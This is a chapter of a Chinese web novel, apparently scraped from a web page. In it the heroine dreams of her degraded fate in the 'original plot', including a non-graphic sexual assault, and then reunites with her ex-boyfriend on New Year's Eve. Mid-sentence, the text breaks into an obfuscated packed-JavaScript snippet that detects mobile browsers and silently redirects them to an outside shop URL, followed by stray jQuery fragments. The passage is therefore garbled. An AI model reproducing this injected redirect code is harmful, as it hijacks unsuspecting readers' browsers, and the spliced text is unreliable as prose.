12. 忘恩负义的前女友12

作品:《男主的前女友不洗白

    何苒又梦到了原剧情,与上次不一样的是,她这次成了看戏的观众。


    她看到梦中的自己沦落风尘,不仅打扮得风俗,看向陈驰的眼神也变得谄媚。


    她看到梦中的陈驰温柔不再,对自己冷酷无情,却在回家后对着另一个女人百般宠溺。


    那个人不是何苒见过的白慕雪,白慕雪是伪装出来的小白花,而她是从骨子里就散发出娇艳欲滴的红玫瑰。


    只要看一眼,就知道她是受到千娇百宠长大的。


    何苒听到陈驰用宠溺的语气叫她:“子玉。”


    她听到子玉骄横的嗓音:“干嘛又这么晚回来,罚你不准上床。”


    何苒不受控制地捂住了心口,感到那里一阵刺痛。


    然而不等她深思这股莫名的情绪是从何而来,就眼睛一黑转到了下一个场景。


    昏暗的包厢里,耳边是男人们听着世界杯比赛喝彩的声音,何苒却看到自己被压在沙发里狭窄的角落。


    她的嘴巴被堵住,嗓子里的呼救和抗拒都化作了微弱的哭泣,没人给她投去多余的目光。


    何苒目眦欲裂,拿起酒瓶想去制止男人时,却再次眼前一黑。


    等睁开眼就发现,是自己被压在了角落里,她脸上全是泪水,微弱的力量全部被压制。


    何苒崩溃地尖叫起来。


    终于,她从噩梦中醒了过来,狭窄的出租屋内一片黑暗,身上的衣服已被汗水浸透。


    她大口喘着气,心脏仍像被掐住了一般,无法从那可怕的场景中回过神来。


    这时手机突然亮了,屏幕上赫然显示着陈驰的消息:“睡了吗?”


    时间显示为半个小时前,何苒看了眼时间,现在是凌晨一点,她的聊天框里还有条信息没发出去。


    “子玉。”何苒念着这个名字,突然感到一种莫名的熟悉感,她脱口而出道:“夏子玉。”


    “子君,夏子君,子玉,夏子玉……”何苒突然想到夏子君今天才刚刚说过一嘴,他有个妹妹。


    怎么会这么巧?怎么可能会发生这么巧的事?


    仿佛有股电流传遍全身,何苒终于恍然大悟,不是她租房恰好遇到了夏子君,而是剧情将夏子君送到了她身边,就是为了警告她。


    警告,警告什么呢?


    看着聊天框里没发出去的两个字,何苒的手不由得颤了下。


    发这两个字的时候自己在想什么,她现在已经不知道了,只是本能地飞快删除,然后立马退出和陈驰的聊天屏幕,恨不得将关于他的记忆也清除,这样就不会落得那样可怕的下场。


    何苒认为,剧情一定是在警告她不要再接近陈驰,也不要破坏夏子玉和他的感情线,否则她最后的下场会和原剧情一样。


    她从没这样害怕过,害怕被践踏尊严,这比让她死还难受。


    所以何苒又开始了冷暴力,一连几天都没有回复陈驰的消息。


    除夕将近,宁州各个街头的商铺都暂停了营业,除了繁华地带的商超。


    何苒接下来的几天,都在烤鱼店里兼职,她和店长已经是老熟人了,连续两年的寒假都是在这里度过的。


    因为开在市中心的大商场里,这段时间的客流量爆满,何苒累得回家倒头就睡,几乎没有时间想其他的,也就暂时忘记了那个可怕的梦。


    陈驰发过来无数条消息,她甚至没工夫去看内容是什么。


    直到除夕夜当天,店长按照往年惯例中午闭店后,她才终于停了下来。


    “小苒,留下来跟我们一起吃年夜饭吧,人多热闹呀,你一个人回去多没意思。”


    店长家不在本地,所以除夕夜都带领着员工一起在店里聚餐。


    但何苒从没参加过,除了她自身性格原因外,还是因为兼职的身份,临时工和长期工感情总是不一样的,融不到一块去不需要硬融。


    所以何苒笑着礼貌拒绝了:“谢谢店长,有人等着我一起过年呢,就不打扰你们聚餐了,祝你们新年快乐。”


    这只是一句推脱的借口,她本以为还会和店长拉扯几句,却没想到对方立马露出了了然的表情,嘴角带着笑,眼神还朝着某一处看去:“原来那是等你的啊,我说呢,怎么一直坐在店门口不走,小丽去问他,他还说是在等朋友。”


    何苒一头雾水,顺着她的眼神望去,就看到了一个熟悉的背影。


    她瞬间愣在了原地。


    因为何苒不是做迎宾的,一直在大厅内服务,所以丝毫没注意到,陈驰竟然一声不吭地等在了外面。


    “诶,是男朋友吧?前两年那个?我说怎么不带上来看呢,原来长得那么帅,还那么痞,没想到啊,你看着那么文静,男朋友那么野,啧啧啧……”


    后面的评价何苒一句没听进去,只是下意识反驳:“不是男朋友。”


    店长闻言有些惊奇:“不是男朋友?那是啥?朋友?”


    何苒的笑罕见地有些维持不住:“对,是朋友。”


    好像看出了她的不对劲,店长没再继续问下去,笑着打圆场道:“怪不得他和小丽也那么说呢,朋友好啊,友谊才稳固嘛,一起过个年多开心。”


    “咳,我给你算一下工资吧。”


    最后何苒拿了三千,六天的日薪加新年红包,明显是店长看在两人交情的份上贴补的。


    她没有推脱,利索地收下了。


    等再次看向门外时,陈驰已经站了起来,他双手叉腰,面带笑意地看着何苒走近:“惊不惊喜?”


    何苒没笑,看他一眼就朝外面走。


    陈驰的笑容淡了下去,他朝看过来的店长随意点了点头,便紧紧跟在了何苒身后。


    店长看着这一幕摇了摇头:“年轻人啊。”


    转头一看,透明厨房里的一群人正扒着玻璃张望,她被逗乐了,用恨铁不成的语气道:“一个个怂的,喜欢就去追呀,真是……”


    ……


    等电梯的人有些多,何苒踏上扶梯,双手抱胸看着下面,似乎知道陈驰就跟在身后,她头都没抬一下:“你怎么找过来的。”


    虽然前两年寒假在这里兼职,但她从没和他说过店名字,也没带他来过这里。


    兼职打工的那一面,弯腰赔笑的那一面,她不愿意在他面前展示。


    陈弛知道她为什么不开心,那么多没有回复的消息就说明了她不想被打扰,他弯腰小声道:“一个店一个店找的,但我没说你的名字。”


    猜也知道,所以何苒没太意外,换做以前,她根本不会有那么大的情绪,但前几天她才做了梦。


    拼命想远离的人就这样出现,何苒甚至说不清自己是生气还是害怕,但可以肯定的是,对这件事本身的怒气要大过陈驰。


    她努力用平静的语气问:“你怎么过来的?”


    到达一楼需要走三个扶梯,两人就这样一前一后、一问一答:“骑车。”


    “几个小时?”


    “……十个小时。”


    何苒抿了抿嘴,她清楚地知道自己要远离陈驰,但面对这样真诚的感情,实在不忍心过于苛责。


    她脚步放缓了一些:“为什么不坐高铁?”


    陈驰见状勾了勾嘴角,快步跟上去,用高大的身形为她阻挡四面八方的人流:“票都卖光了,飞机票都没了。”


    “为什么不开车,之前那辆车不是你朋友的?”


    “老二的,我给他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469968|201424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    放了假,大家都各回各家了,自己家要用车,我哪好意思借,而且高速上容易堵车,摩托更方便一些。”


    终于从人流中挤了出来,何苒戴上帽子朝地铁站走,声音落在呼啸的风中,显得有些失真:“都分手了还找我干嘛?自己不能过年?”


    陈驰没听清,一把拽住她手臂将她拉回来:“说的什么?你走错地方了,我订的酒店在那边,直接走过去就行。”


    何苒一把甩开他的手,她没想到自己还有和他当街拉扯的一天,只能尽量控制着语气:“我去你订的酒店干嘛?以什么身份?”


    路过的人自动绕开两人,还时不时投来好奇的眼神。


    陈驰看不清何苒帽子底下的脸,又不敢将它掀开,只能努力顺着她的语气说话:“我订的套房,里面有个小厨房,菜我都买了,还有从临安带过来的特产,我做给你吃,好吗?”


    他明明长着一张性格乖张的脸,却总是在何苒面前保持着好脾气,说话时甚至像哄小孩子一样,生怕哪句话惹恼了她。


    何苒又一次哑了火。


    陈驰见状熟练地带她换了个方向走。


    一路上两人都没再说话,直到进了酒店房间,何苒环顾了一圈设施,问道:“在这里住一晚多少钱?”


    房间很大,不仅有一个开放式厨房,还有一个客厅,卧室比她现在租的那个房间还大。


    而且里面的设施看起来都很高端,全是配套的,从这里往窗户外看去,还能看到宁州的全部夜景。


    陈驰正在厨房里收拾买来的食材,闻言顿了一下,随后才抬头说了个数字:“六千。”


    尽管心里有准备,何苒还是被这个数字吓了一跳,她辛苦了几天,甚至累得将感冒硬生生地逼走,这才赚到了三千,结果住一晚就是她这几天的双倍工资。


    何苒心底的自卑又冒了出来。


    她知道陈驰会赚钱,不然不会在这四年供她读大学,还好吃好喝地养着她,让她从不被别的同学比下去。


    但她没想到,陈驰现在住这样的酒店都能眼都不眨,显得那么轻松。


    她有些好奇:“你今年才开的店就那么赚钱?”


    毕竟前几年陈驰来找她的时候,住的酒店远没有那么好,连个厨房都没有,两人都是在外面吃的饭。


    她不知道的是,六千甚至住不到这家酒店的一个普通房间,更何况今天是春节,而且这里是宁州最繁华的商业街。


    当然,陈驰也不会和她说,他从来不会向她诉说自己赚钱的经历,那些收敛锋芒变得圆滑事故的经过,那些受尽鄙夷却仍得面不改色笑着应对的时刻,以及他从混混流氓变成能言善道的老板,其中经历的挫折。


    两人在这方面都有些相似,固守着年少时的形象,好像这样就能留住那些青春岁月。


    陈驰一边忙活着,一边云淡风轻地说:“小本生意,都是从前几年稳固下来的客流,开店之后做活动再吸引一些新客,几个月下来就差不多回本了,现在是纯收益,能给他们几个分红,明年就该招一些正式员工了。”


    何苒发现他说起自己擅长的事情,浑身就散发着一股稳重而成熟的魅力,与从前那个痞气的样子相比,仿佛脱胎换骨了一般,她渐渐有些看入了迷。


    直到听见陈驰说起明年打算开分店的计划,她才猛地回过了神,随后便是一种“果然如此”的感觉。


    梦里的陈驰后来确实是事业有成的,谁也挡不住他的成功。


    何苒静静地看着他,这才发现自己是第一次这样认真地看待他,他的魅力超出了表面的颜值,能成为剧情中的男主就说明了这一点。


    她恍惚中发觉,自己早已经不再俯视他了。